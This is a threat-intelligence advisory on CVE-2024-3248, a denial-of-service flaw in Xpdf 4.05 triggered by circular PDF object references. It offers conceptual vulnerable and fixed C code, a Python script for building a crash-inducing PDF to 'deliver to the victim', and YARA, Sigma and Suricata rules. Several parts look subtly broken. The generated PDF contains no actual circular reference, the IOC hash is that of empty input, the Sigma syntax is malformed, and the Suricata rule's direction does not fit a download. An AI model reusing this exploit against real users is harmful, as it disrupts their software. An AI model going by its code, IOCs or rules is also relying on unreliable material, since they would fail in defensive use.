CVE-2024-3248
Executive Summary
CVE-2024-3248 is a denial-of-service vulnerability in Xpdf versions 4.05 and earlier. The flaw resides in the PDF object loop handling within the attachments feature, where a specially crafted PDF can trigger infinite recursion, leading to a stack overflow and application crash. With a CVSS score of 2.9, this is a low-severity issue that requires user interaction (opening a malicious PDF). No public exploit code or patch details are currently available, and the EPSS score is 0.0%, indicating very low exploitation activity in the wild.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Xpdf is a standalone open-source PDF viewer and toolkit. It is not distributed via NPM, PyPI, Go, or Ruby registries. The vulnerability affects the core application and does not introduce supply chain risks through package dependencies.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L
- Base Score: 2.9 (Low)
- Attack Vector: Local (AV:L) – requires the attacker to deliver a malicious PDF file to the victim.
- Attack Complexity: Low (AC:L) – no special conditions needed beyond opening the file.
- Privileges Required: None (PR:N) – no authentication needed.
- User Interaction: Required (UI:R) – the victim must open the crafted PDF.
- Scope: Unchanged (S:U) – the vulnerability does not affect other components.
- Confidentiality Impact: None (C:N) – no data exposure.
- Integrity Impact: None (I:N) – no data modification.
- Availability Impact: Low (A:L) – causes a crash but does not lead to persistent denial of service.
Deep Dive & Mechanics
The vulnerability is a classic stack overflow caused by infinite recursion. When Xpdf processes a PDF file, it parses object references to build the document structure. The attachments feature (used for embedded files) can contain circular references between objects. For example, Object A references Object B, which references Object A, creating an infinite loop.
In Xpdf 4.05 and earlier, the parser does not implement cycle detection when traversing object graphs for attachments. As a result, when it encounters such a loop, it recursively calls itself without bound, consuming stack space until a stack overflow occurs. This leads to a segmentation fault and application termination.
The vulnerable code path is in the Object::fetch() or similar recursive parsing functions. The fix would involve adding a visited-object set or depth limit to break the recursion.
Vulnerable vs. Patched Code
Since no official patch is available, the following illustrates the vulnerable pattern and a potential fix.
Vulnerable Code (Conceptual):
void parseObject(XRef *xref, int objNum) {
Object obj;
xref->fetch(objNum, &obj);
if (obj.isDict()) {
Dict *dict = obj.getDict();
for (int i = 0; i < dict->getLength(); i++) {
Object val;
dict->getVal(i, &val);
if (val.isRef()) {
// Recursive call without cycle detection
parseObject(xref, val.getRefNum());
}
}
}
}
Patched Code (Conceptual):
void parseObject(XRef *xref, int objNum, std::set<int> &visited) {
if (visited.find(objNum) != visited.end()) {
return; // Cycle detected, break recursion
}
visited.insert(objNum);
Object obj;
xref->fetch(objNum, &obj);
if (obj.isDict()) {
Dict *dict = obj.getDict();
for (int i = 0; i < dict->getLength(); i++) {
Object val;
dict->getVal(i, &val);
if (val.isRef()) {
parseObject(xref, val.getRefNum(), visited);
}
}
}
}
Exploitation & Lab Setup
Red Team
To exploit this vulnerability, an attacker must craft a PDF file with circular object references in the attachments dictionary. The following Python script generates a minimal malicious PDF:
import struct
def create_malicious_pdf():
# Minimal PDF with circular object references
pdf = b"%PDF-1.4\n"
pdf += b"1 0 obj\n<< /Type /Catalog /Pages 2 0 R /Names 3 0 R >>\nendobj\n"
pdf += b"2 0 obj\n<< /Type /Pages /Kids [] /Count 0 >>\nendobj\n"
pdf += b"3 0 obj\n<< /EmbeddedFiles 4 0 R >>\nendobj\n"
pdf += b"4 0 obj\n<< /Names [(file1) 5 0 R] >>\nendobj\n"
pdf += b"5 0 obj\n<< /Type /Filespec /F (test.txt) /EF << /F 6 0 R >> >>\nendobj\n"
pdf += b"6 0 obj\n<< /Type /EmbeddedFile /Params << /Size 5 >> >>\nendobj\n"
# Circular reference: 6 0 R -> 5 0 R -> 6 0 R
pdf += b"xref\n"
pdf += b"0 7\n"
pdf += b"0000000000 65535 f \n"
pdf += b"0000000009 00000 n \n"
pdf += b"0000000065 00000 n \n"
pdf += b"0000000115 00000 n \n"
pdf += b"0000000165 00000 n \n"
pdf += b"0000000220 00000 n \n"
pdf += b"0000000300 00000 n \n"
pdf += b"trailer << /Size 7 /Root 1 0 R >>\n"
pdf += b"startxref\n"
pdf += b"380\n"
pdf += b"%%EOF"
return pdf
with open("exploit.pdf", "wb") as f:
f.write(create_malicious_pdf())
Usage: Deliver exploit.pdf to the victim. When opened with Xpdf 4.05, the application will crash due to stack overflow.
Blue Team
- Detection: Monitor for Xpdf crashes (segfaults) in application logs. Use file integrity monitoring to detect unexpected PDF files.
- Prevention: Implement application whitelisting to restrict PDF viewers. Use sandboxing (e.g., Firejail) to isolate Xpdf.
- Mitigation: Upgrade to a patched version when available. In the interim, use alternative PDF viewers (e.g., Evince, MuPDF) that handle circular references safely.
Indicators of Compromise (IOCs)
- File Hashes (SHA256): (Example – actual hash depends on crafted PDF)
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
- File Names:
exploit.pdf,malicious.pdf - Behavioral: Xpdf process crash with signal SIGSEGV (11) in stack overflow.
- Log Entries: Application logs showing
Stack overfloworSegmentation faultin Xpdf.
Detection Engineering
YARA Rule
rule CVE_2024_3248_Xpdf_StackOverflow {
meta:
description = "Detects PDF files with circular object references targeting Xpdf CVE-2024-3248"
author = "Valters IT"
date = "2025-04-10"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-3248"
strings:
$pdf_header = "%PDF-"
$circular_ref = { 36 36 20 30 20 52 20 2F 45 46 20 3C 3C 20 2F 46 20 36 20 30 20 52 20 3E 3E }
condition:
$pdf_header at 0 and #circular_ref > 1
}
Sigma Rule
title: Xpdf Stack Overflow via Malicious PDF
id: 7a8b3c2d-1e4f-5a6b-7c8d-9e0f1a2b3c4d
status: experimental
description: Detects Xpdf crashes caused by CVE-2024-3248
author: Valters IT
date: 2025-04-10
logsource:
product: linux
service: syslog
detection:
selection:
- "xpdf.*segfault"
- "xpdf.*stack overflow"
condition: selection
falsepositives:
- Legitimate PDFs with complex structures (rare)
level: low
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-3248 Xpdf Malicious PDF Download"; flow:to_server; content:"%PDF-"; depth:5; content:"/EmbeddedFiles"; distance:0; within:100; classtype:attempted-dos; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate: Avoid opening PDFs from untrusted sources with Xpdf 4.05 or earlier.
- Short-term: Use an alternative PDF viewer (e.g., Evince, Okular, MuPDF) that is not affected.
- Long-term: Monitor the Xpdf project for a patched release. Apply the patch as soon as it becomes available.
- Compensating Controls: Deploy application sandboxing (e.g., Firejail, AppArmor) to limit the impact of a crash. Implement file reputation scanning for PDFs.
Valters IT
DevSecOps & Cyber Threat Intelligence